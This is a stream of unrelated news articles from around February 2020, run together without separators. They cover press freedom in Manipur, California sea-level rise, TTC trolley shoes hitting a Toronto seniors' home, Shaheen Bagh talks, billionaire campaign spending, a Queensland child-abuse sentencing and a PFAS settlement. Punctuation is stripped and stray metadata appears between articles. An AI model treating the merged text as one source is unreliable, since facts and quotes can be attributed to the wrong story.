Working Journalists Union honoring its foundation 46 years before. He told CPJ about a health insurance scheme for journalists launched by his government. Yet while the chief minister agreed that freedom of expression was a constitutional right that had to be protected, he also told CPJ there had to be a limit. When we take advantage of Article 19, some people forget morality, he said. CPJ pointed out that he had himself been punished for his reporting. I went to jail, too, he said. Biren Singh seems to have completely forgotten that he was once a journalist, Shirin told CPJ. But I havent. I will continue to fight this case, as well as do my job. Phanjoubam, the former IFP editor, told CPJ that the defamation case sent a message to the the rest of the media that there would be consequences if they didnt fall in line. Since the case began, IFP has spent nearly 350,000 rupees (US$4,900) in legal fees and other costs, Paojel Chaoba told CPJ. While a New Delhi-based human rights lawyer initially offered to represent the newspaper pro-bono, IFP couldnt afford the cost of flying him to Imphal for hearings, he said. Because the case had a link to the chief minister, it was difficult for IFP to find representation locally, according to Chaoba. Instead of doing our work as journalists, the last one and half years have been spent hiring lawyers, strategizing, raising money to pay lawyers, said Chaoba. Fighting a legal case against the might of the state isnt easy, he said. But we are not going to give up on our principles. Kunal Majumder, CPJs India Correspondent, is based in New Delhi. Aliya Iftikhar is CPJs Senior Asia Researcher in New York. EDITORS NOTE: The spelling of Paojel Chaobas name has been corrected in the second and penultimate paragraph. Maybe magic isnt the most accurate word to describe the delight gazing out at the ocean brings but it feels magical, the way looking over the expanse of blue while breathing in the salty air can instill peace in even the most troubled heart. Californias coast is truly a treasure for residents and visitors alike. Sadly, rising seas are washing away our beach, and for every inch of sand lost, our opportunities for joy and our economic future similarly shrink. The latest predictions are bleak, estimating as much as a 6-foot rise by 2100. Nonetheless, we should strive to keep what beaches we can. Our state constitution explicitly affirms the beaches belong to us, which means we have both the right and the obligation to protect them. This is true even if you dont live on the coast. Perhaps especially if you dont live on the coast. We know certain wealthy coastal property owners try to prevent the rest of us from enjoying Californias coast. Sea-level rise is no less an access equity issue the question of who gets to go to the beach grows more profound when fewer beaches exist at all. Coastal property owners often exacerbate the problem by armoring the coast, speeding up erosion, sacrificing our collective playground and discounting the shifting high-tide line that defines where public property begins. Currently, the battle of public versus private property rights unfolds monthly before the California Coastal Commission, where the saving or losing of our beaches happens on a permit-by-permit, parcel-by-parcel basis. The commission and its staff usually strive to safeguard the publics right to access Californias beaches, but we cant keep leaning on a single underfunded public agency and a few nonprofits to take on rising seas, private interests and local governments struggling with long-term planning. The state must do more. While those who live near the oceans edge certainly have a vested interest in planning, the beaches belong to all of us and the coast continues to be the states largest economic driver, valued at about $44 billion annually. Fortunately, were finally seeing some forward momentum at the state level. In December, the Legislative Analysts Office (LAO) provided several excellent suggestions in its report Preparing for Rising Seas: How the State Can Help Support Local Coastal Adaptation Efforts. The report highlights the need for speedy action: Waiting too long to initiate adaptation efforts likely will make responding effectively more difficult and costly and recommend state departments conduct public awareness campaigns about threats posed by sea-level rise. Thats critical because, as the LAO points out, responding to sea-level rise is not yet a priority for many local residents or elected officials despite a widely publicized 2019 report showing sea-level rise to be a greater economic threat to the state than earthquakes or even wildfires. Of course, unlike the slower-moving emergency of sea-level rise, earthquakes and wildfires demand an immediate reaction as they should. Gov. Gavin Newsoms administration and the Legislature have made huge, life- and property-saving strides regarding wildfire response and prevention. We ask that our state leaders take sea-level rise just as seriously by passing new legislation, such as Sen. Toni Atkins forward-thinking SB1100, increasing funding to local governments and the California Coastal Commission, and ensuring that SB45 the Wildfire Prevention, Safe Drinking Water, Drought Preparation and Flood Protection Bond Act of 2020 includes directives addressing the consequences of sea-level rise. With such actions, Californians can feel not only awe when visiting the coast, but also confidence that our state representatives are doing everything possible to save these beaches that belong to all of us. Jennifer Savage is a San Francisco resident, avid surfer and dedicated beachgoer. She also serves as California policy manager for the Surfrider Foundation. The calm of a seniors home dining room was shattered one afternoon last month when a hunk of metal came hurtling through the window. The culprit in the incident in which no one was hurt wasnt a vandal or group of rowdy kids, but the TTC yard next door. A normally harmless streetcar part called a trolley shoe had been turned into a dangerous projectile when it came loose from a vehicle, sailed through the air, and broke the third-floor window of the Copernicus Lodge residence on Roncesvalles Avenue. Remarkably, the Jan. 29 incident wasnt the first of its kind at the TTCs Roncesvalles Yard, the Star has learned. On Aug. 31, 2019, a trolley shoe crashed through another window of the same seniors residence under similar circumstances. There were no injuries in that case either. The TTC didnt publicly report the startling events. But copies of internal emails sent anonymously to the Star and TTC board members show the Jan. 29 incident alarmed agency officials. This (is) the second incident of a shoe being catapulted into the seniors residence at Roncesvalles ... we were extremely fortunate no one was injured, acting head of streetcar maintenance Pat Borrelli wrote to his colleagues, calling for an immediate investigation. Coun. Brad Bradford, who sits on the TTC board, described the accidents as troubling. Were fortunate that we just have a broken window here and that nobody was hurt It could have been a lot worse, said Bradford (Ward 19, Beaches-East York). Thats a heavy piece of equipment, when its coming off at speed and flying through a window, thats not what we want to see. The councillor said the TTC was taking steps to address the issue, and he was confident theyd be effective. Catharine Kowalenko, CEO of Copernicus Lodge, said in both cases the trolley shoes landed in dining rooms that were empty at the time. Police were called to the scene in the January case but referred the matter to the TTC. A spokesperson for the Toronto Police said there is no investigation ongoing. It was very concerning. It was very alarming. Were very grateful and so thankful that no one was hurt, Kowalenko said. Copernicus Lodge includes a 228-bed long-term care home and 200 seniors apartments. Trolley shoes are the primary point of contact between a streetcars trolley pole and the overhead wires. Theyre made of brass and weigh three or four pounds. In an email, TTC spokesperson Stuart Green explained that in both the August and January cases the agency determined that while a vehicle was being moved over a curve in the tracks in the Roncesvalles yard, the trolley pole lost contact with the wires and the shoe snagged overhead. As the streetcar moved forward, the shoe was ripped from the pole, and was then propelled upwards and backwards toward the lodge in a slingshot-type motion, Green said. In the August incident, the shoe travelled high enough to strike a window on the lodges fourth floor. The agency is trying to determine whether the shoes were properly fastened to the pole. These incidents are concerning to the TTC. We pride ourselves on making safety our top priority that includes the safety of our neighbours across Toronto, Green said. It is clear that with two almost-identical incidents, much more needs to be done and is being done. We want all Torontonians to feel safe when it comes to our operations and assure them that when there is a safety issue, it is addressed as quickly as possible. According to Green, the TTC started talking to Copernicus Lodge management as soon as the breakages were reported and since then have been in constant contact with the home. Green said TTC CEO Rick Leary spoke directly to Kowalenko on Thursday, the same day the Star asked questions about the accidents, and assured her of immediate measures the agency was taking, including the erection of protective netting as quickly as possible. The agency had previously instituted a speed restriction of 5 km/h through the section of the Roncesvalles yard where the shoes became snagged, and communicated to employees the importance of attaching the devices correctly. The TTC also inspected all of its streetcars to check for any problems with the devices, and found none. The trolley pole system is a holdover from the TTCs now-retired old-model streetcars, and the agency is in the process of converting the streetcar network to allow the vehicles to run using pantographs, devices that dont use collector shoes and that provide a more stable connection to overhead wires. The TTCs new streetcars have both trolley poles and pantographs, and streetcar drivers have been ordered to use pantographs while on the yard tracks near the lodge. Green asserted the trolley shoes dont pose a risk to the public and the new streetcars are safe. This is not a vehicle design issue, he said. Kowalenko said shes been reassured by her conversations with TTC officials. I feel very comfortable that they are very apologetic, and that the safety of our Copernicus Lodge community is their utmost priority, she said, adding management at the home, which has been in the same location for four decades, has never had safety concerns about its proximity to the TTC yard before. Kowalenko wouldnt comment on whether the lodge is taking legal action against the TTC. Green said the agency had compensated the lodge for the damage in the August matter, and intends to do so for the January incident as well. Both incidents are being dealt with through our claims process, he said Union Minister Prahlad Patel on Friday said there was no plan to hand over archaeological monuments to private firms for upkeep. The Union minister for tourism (independent charge) told reporters here that under his ministry's 'Adopt a Heritage: Apni Dharohar, Apni Pehchaan' scheme, each private firm is given two monuments, one of their choice and the other chosen by the ministry. "The company that puts in money is not allowed to conserve the two monuments. It will be done by the ASI. The company will provide amenities to tourists and can put up a billboard," Patel said. "Private companies will not be given archaeological monuments (for upkeep). These companies can only provide public amenities at the sites. The Archaeological Survey of India (ASI) will conserve monuments. The role of private companies and non-government institutions at such sites is limited," he added. Patel inspected the Indian Institution of Tourism and Travel Management here. This isnt about Mike Bloomberg, specifically. There have been plenty of good pieces written that comb over the former New York City Mayors record and highlight parts that either are unpalatable to Democratic values or at the very least, strategic vulnerabilities against Trump and I wont rehash those arguments now. Instead, I want to focus on what might be the most pernicious long-term damaging effect of both Michael Bloomberg and Tom Steyers candidacies: their money and its ability to bend politics to their will. If they are successful in their bid to purchase the presidency, then they will have validated it as an effective strategy, ensuring that every presidential election going forward will contain at least one billionaire unleashing a financial force upon the primary that no other candidate can even hope to match. Here is a simple visualization of the problem in three charts. First, the money raised by the final six non-billionaire candidates. Now heres that same chart with Bloomberg and Steyer included. Lastly, the money raised by each candidate from small-dollar donors. Between the final eight candidates in the race, $489.7 million has been raised. Tom Steyer and Mike Bloomberg account for 73% of that total. Between the final eight candidates in the race, $60.2 million in small-dollar donations has been raised (45% of the total money raised by the non-billionaire candidates). Tom Steyer and Mike Bloomberg account for 1% of that small-dollar total (which is basically just Steyer, Bloomberg has raised less than $200 from small-dollar donors). They dont need us, and they can financially steamroll every single candidate, no matter if they have a small dollar army like Bernie Sanders or major party funding like Pete Buttigieg or Joe Biden. The fact that this strategy has already purchased both Tom Steyer and Mike Bloomberg a seat at the Super Tuesday table ahead of well-known Senators with institutional backing like Kamala Harris or grassroots-backed candidates like Andrew Yang is troubling. One of the supposed appeals of the billionaire candidate is that they cannot be bought because they already have all the money. But as a rudimentary examination of FEC reports prove, they dont need your money either. They are unaccountable to no one thanks to the massive powers that come with being a billionaire. These people are in effect, nation-states of their own creation (Mike Bloombergs $64 billion net worth is larger than the annual GDP of countries like Croatia, Uruguay and Jordan). What we are witnessing is two primaries: the normal one being run in by Senators, Governors, and Mayors, and the billionaire primary being run almost exclusively on TV. Mike Bloomberg skipped the opening states in favor of blanketing the airwaves ahead of Super Tuesday in hopes of consolidating enough support to become the anti-Bernie candidate going forward. His pitch is explicitly about the vast resources he could bring to the race and their supposed ability to defeat Donald Trump. But what happens if we get what he wants, and Mike Bloomberg ascends to the presidency? Sure, Trump may be gone, but now Bloomberg would get to combine the vast power he amassed as a billionaire with that of the presidency, meanwhile every billionaire in America will be wondering why not me? What Bloomberg and Steyer are doing to the primary is proving how relatively cheap that standard political donations are for the billionaire class, and how naive the term donation isits an investment. But when it comes to betting on themselves, this nations financiers can play a different game than everyone else. In effect, a successful Bloomberg candidacy pushes us further into our Citizens United dystopic future, and ensures that plutocrats will have an even bigger influence on politics than they did before the existence of President Trump. Lets go one step further and assume that Tom Steyer finishes in 2nd in Nevada and in 2nd in South Carolina ahead of Sanders (both are realistic possibilities given current polling), and he begins to amass the kind of momentum that Mike Bloomberg has created as of late, with the two of them combining to equal Bernie Sanders support. If they pledged to combine resources to try to amass 50% of the delegates before Bernie can, that would dramatically distort politics as we know it. By conventional political calculations, Sanders is a fundraising juggernaut boosted by the only donor base larger than President Trumpsand his paltry $34.6 million raised pales in comparison to the $357 million that Steyer and Bloomberg havenot to mention how much more they could leverage out of their combined $65.6 billion net worth and the infrastructure that brings along with it. Perhaps the best way to summarize the interests of the billionaire class is to look at one very early cycle of donations from Bloomberg L.P., the former mayors company that he promised he would sell if he ascended to the presidency, which has given $6,718 to Donald Trumps 2020 reelection campaign. Yes, you read that correctly. Mike Bloomberg is campaigning on being the guy who can beat Trump in 2020, all while his company gives money to Trumps 2020 campaign and the Democrats hail his entrance into the race as a good thing. This is where our politics are at right now. The company has also donated to the 2020 presidential campaigns of Pete Buttigieg (its highest 2020 donation at $17,642), Andrew Yang ($9,880), Joe Biden ($7,129), Steve Bullock ($1,780), Jay Inslee ($661), Beto ORourke ($655), Julian Castro ($621), Marianne Williamson ($436), Mike Gravel ($131), and John Delaney ($115). Bloomberg L.P. has also given to countless House and Senate candidates (mostly Democrats), including Bernie Sanders and Elizabeth Warrens Senate funds. The fact that Bloomberg L.P. has donated to Marianne freaking Williamson and the teens playing Weekend at Bernies with Mike Gravel, but not to Bernie Sanders or Elizabeth Warrens presidential campaigns tells you a lot about how Bloomberg L.P. views those candidacies. This is how plutocracy works (or oligarchy for those who dont let American medias connotations replace the dictionary definition of words), and why democracy existsto serve as a check on the power of kings and capital. Oligarchs donate to everyone so that way they ensure no matter who wins the election, they have a seat at the table. Bloomberg 2020 is an escalation in this strategy, as instead of trying to purchase the seat, plutocrats are now trying to buy the whole damn table and the building which houses it. A vote for Bloomberg or Steyer may be viewed in the short-term as simply an anti-Trump vote, but long term, it is an implicit invitation to the rest of the billionaire class to invade our politics far more than they already have. PRINCETON JUNCTION, N.J., Feb. 21, 2020 (GLOBE NEWSWIRE) -- The U.S. Payments Forum announced today its 2020 Steering Committee and officers. This leadership is influential in supporting the introduction and implementation of new and emerging payments technologies that help protect the security of, and enhance opportunities for, payment transactions within the U.S. The Steering Committee members elected as officers in 2020-2021 are: Kristy Cook, Target Chair Scott Haney, Woodforest National Bank Vice Chair Manish Nathwani, SHAZAM Secretary Joseph Vasterling, Best Buy Treasurer The newly elected or returning 2020 U.S. Payments Forum Steering Committee members are: Berke Baydu, Mastercard Terry Mahoney, W. Capra William Bondar, PNC Bank Oliver Manahan, Infineon Technologies Roberto Cardenas, Global Payments Steve Mathison, Fiserv Kristy Cook, Target Nancy Morgan, The Kroger Co. Keri Crane, Jack Henry & Associates Manish Nathwani, SHAZAM Carey Ferro, American Express Nick Pisarev, G+D Mobile Security Scott Haney, Woodforest National Bank Tom Pouliot, Unionpay Linda Horwath, JCB Itai Sela, B2 Payment Solutions Simon Hurry, Visa Joseph Vasterling, Best Buy Kara Kazazean, Walmart Patty Walters, PAX Technology Jesse Lee, Wells Fargo Kate Weiler, Discover Robert Lorenzini, McDonalds Bob Woodbury, FIS/NYCE The Steering Committee manages the Forum and guides the priorities and plans of the organization and its working committees ATM; Card-Not-Present Fraud; Communication and Education; Debit Routing; Mobile and Contactless Payments; Petroleum; Testing and Certification; and Transit Contactless Open Payments. Some of the Forum activities include identifying and providing guidance on issues, developing best practices for implementation of payments technologies, providing market education, and creating deliverables such as white papers and webinars for industry stakeholders. Our active members and committees provide the driving force for cooperation and coordination among all segments of the industry. Their leadership and participation are vital for the success of this organization, said Randy Vanderhoof, director of the U.S. Payments Forum. We will continue our cross-industry work in 2020 with a wide variety of member-driven projects. For more information about the Steering Committee and its members, visit http://www.uspaymentsforum.org/about/forum-management/. Next U.S. Payments Forum Meeting on February 24-26, 2020 in Salt Lake City The U.S. Payments Forums next in-person members-only meeting will be held on February 24-26, 2020 at the Salt Lake Marriott Downtown at City Creek in Salt Lake City, Utah. Attending members will also have access to the Secure Technology Alliances 2020 Payments Summit, which is co-located with the Forum event. Additional Forum member meetings this year will be held on July 14-15 in Charlotte, N.C. and November 10-11 in Houston, Texas. For membership details, visit http://www.uspaymentsforum.org/membership/membership-benefits/. About the U.S. Payments Forum The U.S. Payments Forum is a cross-industry body focused on supporting the introduction and implementation of new and emerging technologies that protect the security of, and enhance opportunities for payment transactions within the U.S. The Forum is the only non-profit organization whose membership includes the whole payments ecosystem, ensuring that all stakeholders have the opportunity to coordinate, cooperate on, and have a voice in the future of the U.S. payments industry. Contact: Adrian Loth Montner Tech PR 203-226-9290 aloth@montner.com Delhi police admits it shut the road, not protesters. The Delhi police also admitted the protesters hadnt blocked the parallel road, but it was the police that barricaded the road to ensure security at the Shaheen Bagh protest site. (Photo: PTI) New Delhi: The two Supreme Court-appointed interlocutors began the third day of their discussions with the Shaheen Bagh protesters on Friday evening. The protesters said if they opened the parallel road to the protest site, the Supreme Court should pass an order ensuring their security. The Delhi police also admitted the protesters hadnt blocked the parallel road, but it was the police that barricaded the road to ensure security at the Shaheen Bagh protest site. Meanwhile, the Noida police reopened the road linking Noida to Delhis Kalindi Kunj briefly for 40 minutes on Friday morning, leading to some traffic movement. The police said the barricades at Noidas Mahamaya Flyover were removed for some time Friday morning only to clear the passage of a bus. The barricades were restored minutes after the road was reopened. A woman protester told senior advocates Sanjay Hegde and Sandhana Ramachandra, the two interlocutors: When several adjoining roads are open, why are they insisting that we move from this road. This is not the Mr Hegde said: Today is Shivratri. Aaj agar koi gaali de tab bhi duwa ban jati hai. It is your right to speak, speak up. Say everything you want to say. Lets take a joint decision for all parties affected here. The protesters told the interlocutors the Delhi Police had barricaded the roads parallel to the tent as well two other roads that connect Shaheen Bagh and Kalindi Kunj. It was not they who blocked the roads, but the police. The interlocutors also called the Delhi police to the spot to discuss the matter with protesters. A police official told the interlocutors and protesters that the parallel road was shut off to ensure protection at the protest site. The official saiid some other roads in the area were also barricaded to ensure protection. The official said: We barricaded the parallel road to protest site (the tent) to ensure security to the protest site. If the road is opened to commuters, we will ensure double security for protesters. A woman protester stood up and told the mediators: The government thinks the women are uneducated. We all are educated women who know what we are fighting for. The students from Jamia Millia who were teaching us more on the CAA and NRC are being beaten up. If the police couldnt stop men who fired at us, how are they saying they will protect us if the parallel road is open? The protesters said if the road adjoining the protest site (the tent) is open, the Delhi police must ensure security to the protesters. Another woman protester said: We want in writing that if there is single incident of attack or firing, police officials from SHO to police commissioner should be shunted out. HM Amit Shah said the NRC is not coming soon, so ask him to pass the circular from MHA that they are not bringing in NRC now. We want Supreme Court to pass an order on our security if the adjoining road to the protest site is opened. Mr Hegde said: The issue is not about only about the opening of this road, open the roads of your heart. We all are humans, and as humans if you can lessen another humans pain, you will be a greater human. The protesters said they are ready to let the parallel road be opened, but want their security assured in writing. The interlocutors checked all roads linking Delhi to Noida late on Thursday alongwith some protesters and Delhi police officials. Ms Ramchandran said: When we checked the roads, we noticed that you (protesters) were right. Many roads are open which were blocked by the Delhi police. I am very upset saying this, that the Noida-Faridabad road that was opened today was again closed by the police. Whoever has done this is now answerable to the Supreme Court. Despite certain inconvenience, various foreigners in Ho Chi Minh City are trying to savor the "unexpected break" caused by coronavirus outbreak. Andrew Anthony has not attended work for over five weeks. Last weekend, the British man bought a one-way ticket to Central Highlands Da Lat town. "I am riding out the storm caused by the coronavirus," the English teacher said, referring to the closure of the center where he works. For language teachers paid by the hour, the coronavirus has posed difficulties since all schools and educational institutions have been closed since the Lunar New Year (Tet) break. Two foreign tourists wear masks as they explore downtown Da Lat. Photo by Shutterstock/Fabio Lamanna. In a private group for English teachers in HCMC, some have shared similar concerns amid the viral outbreak. "I wonder how many would stay and ride out the storm? I want to say chin up to all the teachers struggling at this time," Facebook user Dave Barlow wrote. Some others have fewer difficulties when it comes to livelihood. Richard Nguyen, an American human resources employee in Saigon's District 3, mentioned he had to cancel a trip to Hanoi with his wife and four-year-old son due to fears over the outbreak. "We cannot take our son to the park or shopping mall on the weekend. It is disturbing," he added. His business partner, meant to be coming up from the U.K. in the second week of February, had to reschedule. Silver lining Despite the doom and gloom caused by the epidemic, many expats in Saigon still feel safe in Vietnam. Returning to the city after spending Lunar New Year in Myanmar, Kate Wilson was surprised at the little traffic on the streets. "I traveled to work on Dong Khoi Street, feeling unusually confident about riding my motorbike," the Australian finance worker commented, adding the coronavirus had caused only minor disturbance to her private life . German national Dirk Ebert, who works as a real estate agent, said since infected patients in Vietnam have been treated and recovered, many people are more at ease. As of Friday, Vietnam had 16 confirmed infection cases, of whom 15 have recovered and been discharged from hospitals. "My wife and I decided to only venture out for essentials. Apart from food, we bought nothing in the past three weeks," Ebert said, adding the epidemic has helped him live more frugally. "Since all schools are closed, my wife also decided to stay home with our son," he added. For some teachers, having more free time is an "unexpected perk" they are trying to enjoy. Instead of staying in Saigon, the reduced costs of many services have pushed some to travel. Tickets for some domestic flights have dropped to one-fifth of their regular prices. Two weeks after Tet (January 23-29), knowing the closure would last till the end of February, Anthony flew to Da Lat, "an absolute bright side of the outbreak." On a Nha Trang beach, a daughter is perched comfortably on her father's shoulder, February 20, 2020. Photo by VnExpress/Xuan Ngoc. "I also stay in a 4-star hotel at an unbelievably low price," he confessed. The tourist hotspot saw 10,000 room bookings canceled in February since the coronavirus outbreak several weeks ago, felling prices. Though the long break may hurt their wallets, some teachers support the move to keep children at home amid the deadly epidemic, with a number offering online tuition to compensate. "It is interesting because university students are all used to conference calls; I give them online lessons and the deadline for homework once a week," 31-year-old English teacher in Saigon's District 3, Adam Evans, said. During the last three weeks, he stayed at home or goes to a coffee shop to prepare for his lessons, sometimes hanging out with his friends. "At the end of the day, this is a case of finding ways to make the best of a bad situation," said Evans. As a night owl, the British teacher now enjoys the rare tranquility of Saigon's Bui Vien Street and hopes his English center would open soon. "I miss the kids, that's all. This epidemic also reminds me of the importance of saving money, which I did, thank God." SPRINGFIELD A group of Republican lawmakers said Tuesday they want to see internal reforms at the Department of Children and Family Services in addition to the increased funding that Democratic Gov. JB Pritzker is expected to propose. I think most of us arent opposed to investing more money in these children, Rep. Tom Weber, R-Lake Villa, said during a news conference at the Capitol. He noted there are roughly 17,000 children in Illinois in the custody of DCFS and another 19,000 children and young adults are former foster children. I have a problem not seeing what the money is going toward, he said. Weber represents a district that includes Crystal Lake, a town where 5-year-old AJ Freund died last year after reportedly being abused by his parents. His body was found in a shallow grave in nearby Woodstock on April 24. His parents were later charged with murder. He was one of 123 children in Illinois who died in 2019 within 12 months of having had contact with DCFS, according to a report by the agencys inspector general. Of those, the report stated, 24 were determined to be homicides; 37 were the result of accidents; 34 were due to natural causes; seven were from suicides; and in 21 cases the cause of death was undetermined. Weber said he believes law enforcement should have more independent authority to investigate reports of suspected child abuse and neglect. Under current law, he said, DCFS has sole jurisdiction except in cases in which the suspect is completely unrelated to the victim. To address that, Weber said, he introduced House Bill 5281, which would require DCFS to immediately share any report it receives about suspected child abuse or neglect with the appropriate law enforcement agency. That agency, in turn, would have discretion about whether to pursue an independent investigation. If local law enforcement did have the ability to investigate any case of suspected abuse, in December of 2018 when AJ told an ER doctor that his bruises might have been caused by his mother, he may still be alive today, Weber said. In addition to Webers bill, Rep. Terri Bryant, R-Murphysboro, introduced a bill, House Bill 5417, that would require people who are mandatory reporters of child abuse and neglect including doctors, teachers, clergy and other licensed professionals receive training in how to file those reports. Apparently we passed a law that basically said you had to be trained, but then didnt really do any training on how you make the report, Bryant said. Meanwhile, Rep. Joe Sosnowski, R-Rockford, has introduced a bill dealing with problems he says exist with child adoptions in Illinois. House Bill 2335 would provide that a final order of adoption could not be overturned by a court for any reason other than fraud on the part of the adopting family. It would also require that if DCFS decides to withdraw or revoke its consent, it must do so within 60 days of the filing of the adoption petition. Sosnowski introduced that bill during the 2019 session but so far it has not received a hearing. He said it is a response to an incident reported to him by constituents who were in the process of adopting a child, but just as it was about to be finalized, he said, DCFS tried to halt the adoption, only to reverse course and allow the adoption to go through a few months later. Flash Australia set up a national inquiry on Thursday into its recent bushfire crisis that killed 33 people and prompted widespread criticism of the government for its sluggish response to the blazes. Australia has for months been battling hundreds of blazes that began in Septemberan unusually prolonged summer wildfire season that was fueled by three years of drought, which experts have attributed to climate change. Australian Prime Minister Scott Morrison said the vast scale of the fires required a new response from the bushfire-prone nation. The royal commission inquiry will be tasked with finding ways to improve Australia's preparedness, resilience and response to natural disasters, but has been criticized as an effort to put off tackling the problem. Former Australian Defence Force chief Mark Binskin, former Federal Court judge Annabelle Bennett, and a specialist in climate risk and impact management, Andrew Macintosh, professor at Australian National University have been appointed as commissioners. Morrison said they would be required to report their findings by Aug 31, "so recommendations can be acted upon before our next bushfire season". "My priority is to keep Australians safe and to do that, we need to learn from the Black Summer bushfires how nationally we can work better with the states and territories to better protect and equip Australians for living in hotter, drier and longer summers," he said. "The inquiry acknowledges climate change, the broader impact of our summers getting longer, drier and hotter and is focused on practical action that has a direct link to making Australians safer." Australia has seen dozens of inquests into the causes of bushfires and steps that could be taken to mitigate them, with mixed results. Many measures from the dozens of inquests going back to the 1930s have still not been implemented. The opposition Labor party accused Morrison of trying to "shift attention to the things that he thinks are politically convenient to talk about", rather than "actually fixing climate change and getting emissions under control". New powers Morrison said the panel would be asked to consider establishing new powers for the federal government to declare a national state of emergency, which he argued would allow a faster response to fires. The conservative leader, who was criticized for his sluggish reaction to the months-long crisis, has defended his actions by pointing to regulations requiring states to formally request federal assistance. He claimed to have operated in a "constitutional grey zone" by deploying thousands of troops and reservists to assist in the bushfire recovery. "We did that without clear rules," Morrison said. The most recent crisis has sparked calls for Australia's conservative government to take immediate action on climate change, with street protests urging Morrison to reduce the country's reliance on coal. Share this article Whatsapp Facebook Twitter Linkedin Catherine MacDonald and Silvio Castellanos (Reuters) Arteixo, Spain Fri, February 21, 2020 07:04 691 7f440ff09e92db75a02bbad2065b51db 2 Food Spain,South-Korea,film,parasite,food,Bong-Joon-Ho,Cesar-Bonilla,Bonilla-a-La-Vista Free Cesar Bonilla is still baffled by a surge in demand for the canned potato chips made by his company in northwestern Spain after they appeared in award-winning Korean film Parasite. The movie this month became the first non-English language film to win an Oscar in the Best Picture category and the 87-year-old Bonilla is grateful to its director Bong Joon-ho. "I'd say to him a thousand thanks and I have tears in my eyes when I think about it," Bonilla told Reuters while watching a clip from the dark comedy in which the scheming Kim family feasts on food and drink at the house of their rich employers. "It was a mystery how this movie showed this can of Bonilla a La Vista, made with so much affection and hope, and then the movie got so distinguished. My hope has been fulfilled," Bonilla added Parasite also snapped up awards for the Best Director, Best Original Screenplay and Best International Feature after last year becoming the first South Korean film to win the Palme d'Or in Cannes. Bonilla's family-run company's online sales in Spain surged 150 percent and distributors have been increasing orders at home and abroad. Four more staff have been hired, adding to around 100 employees. Read also: Business booms for 'Parasite' locations "Now that we are selling a lot with all this impact, we hired people because otherwise we can't cope," Bonilla said. The company makes 540 tonnes of crisps per year, exporting 60 tons to 20 countries. South Korea, where the crisps were popular with high-end consumers long before the movie's release, accounts for the bulk of exports, around 40 tons. Cesar's father Salvador started the company in 1932 selling from a market stand. A former navy sailor, he modeled the company's name on his standard reply to a duty officer: "Bonilla here!" Cesar started delivering the product, fried and canned by his mother, on a motorbike in 1950 and later decided to open a proper factory, sticking to tins as his main trademark packaging because they preserved the flavor so well. Clients and friends alerted the company after seeing the distinctive can on the big screen. "We never thought we could get this far with a can of crisps. It moves me a lot as it should move anyone knowing that you are making something that gets so much acceptance. Makes me proud," Bonilla said. A father has pleaded guilty to raping his own daughter from the age of 11. The man - who cannot be named to protect the identity of the girl - indecently treated and raped his daughter in Queensland between 1998 and 2003, News-Mail reported. She was aged between 11 and 15 at the time. A father has pleaded guilty to raping his own daughter from the age of 11 (file picture) A court heard how the father told the girl she 'needed to learn what a lady does' before the first a sickening assault'. He also threatened to kill her if she told anyone about the abuse. Another attack saw the man prey on his daughter while she was watching TV. On another occasion he watched porn while sitting next to her and, after she moved out, he told her she could come round and have sex with her. The man did not deny any of the attacks and his barrister Callan Cassidy said his client was remorseful. Judge Leanne Clare said the father's behaviour was 'abhorrent' and jailed him for five years, suspended after 20 months, meaning he could walk free late next year. 'She was your own daughter, you were meant to protect her, you were meant to be the person she could trust the most in the world, that is what father's are for,' the judge said during the sentencing on Friday. 'Instead you poisoned her most formative years, you took her childhood from her and you did it in the guise of a supposed practical lessons on safe sex. 'You made your own child feel like a sex object,' she added. President Trump is still smarting over remarks Brad Pitt made nearly two weeks ago when he received an Academy Award for his performance in Once Upon a Time in Hollywood. Trump held a rally in Colorado Springs, Colorado, on Thursday night, and spent a considerable amount of time complaining about this year's Oscars. "How bad were the Academy Awards?" he asked. He was mad that the widely praised South Korean film Parasite was named Best Picture, thinking the honor should have gone to an American movie like 1939's Gone With the Wind, and he shared his irritation with Pitt. While accepting the Best Supporting Actor statue, Pitt said: "They told me I only have 45 seconds up here, which is 45 seconds more than the Senate gave John Bolton this week. I'm thinking maybe Quentin [Tarantino] does a movie about it. In the end, the adults do the right thing." He was referring to the Republican-controlled Senate voting against letting Bolton, Trump's former national security adviser, testify during Trump's impeachment trial. Trump did not appreciate Pitt's comments, which were made as millions of people watched around the world. "I was never a big fan of his," Trump said. "He got up, said a little wise guy thing. He's a little wise guy." More stories from theweek.com A moderate's 2020 lament The stunning Southern Baptist controversy over Donald Trump and Russell Moore, explained Is the polyglot brain different? MIT researchers are trying to find out. GRAND RAPIDS, MI Chemical manufacturer 3M will pay $55 million to help footwear giant Wolverine World Wide cover the cost of extending municipal water to neighborhoods with drinking water contaminated by PFAS chemicals from industrial waste dumping. The payment was announced late afternoon Thursday, Feb. 20. It comes a day after a federal judge approved a settlement between the state of Michigan, two townships and Wolverine, in which the company agreed to pay $69.5 million toward new municipal water mains. The payment settles a lawsuit Wolverine brought against 3M, which the Rockford-based shoe company accused of concealing hazards posed by its Scotchgard fabric protector. 3M says the settlement releases the company from responsibility for future cleanup costs associated with the Wolverines waste dumping in Michigan. This agreement will support Wolverines work with the state of Michigan to conduct previously announced and continuing investigation and remediation activities, said John Banovetz, a senior vice president at 3M, in a statement. In December 2018, Wolverine filed a third-party complaint against 3M in an existing case against Wolverine that was brought by Michigan regulators. For decades, 3M supplied Wolverine with Scotchgard, which was applied to shoe leather at Wolverines former Rockford tannery. Wolverine dumped tannery waste into unlined landfills and gravel pits around the Belmont area, contaminating groundwater supplies. This week, U.S. District Court Judge Janet Neff approved a consent decree between Wolverine, Plainfield and Algoma townships, and the state of Michigan. Related: The 3M, Wolverine Scotchgard disaster timeline The negotiated settlement put Wolverine on the hook for $69.5 million in new water mains and specialized filtration for the Plainfield Township municipal water system. The water mains will reach about 1,000 homes with PFAS contaminated wells, but the multi-year project will not reach all homes in the 25-square-mile contaminated zone in Northern Kent County. About 500 homes will continue to rely on whole-house filtration systems that Wolverine must continue to maintain, depending on future test results. Wolverine estimated the municipal water project, continued filter maintenance and cleanup costs at its former tannery and House Street dump site in Belmont could reach upwards of $113 million. The water main project is expected to begin construction this year. Wolverine is also finishing an excavation project at its former tannery and has capped several small areas at the House Street dump, as directed by a recent agreement with the U.S. Environmental Protection Agency. I wouldnt be surprised if, when the total numbers are in, they (Wolverine) arent north of $200 million, said Doug Van Essen, an attorney for Plainfield Township who was part of the consent decree negotiations with the state and Wolverine. In a statement, Wolverine CEO Blake Krueger said the company is pleased that Judge Neff approved the consent decree and that 3M is contributing towards our efforts. Wolverine and 3M remain co-defendants in hundreds of individual private lawsuits filed by local residents 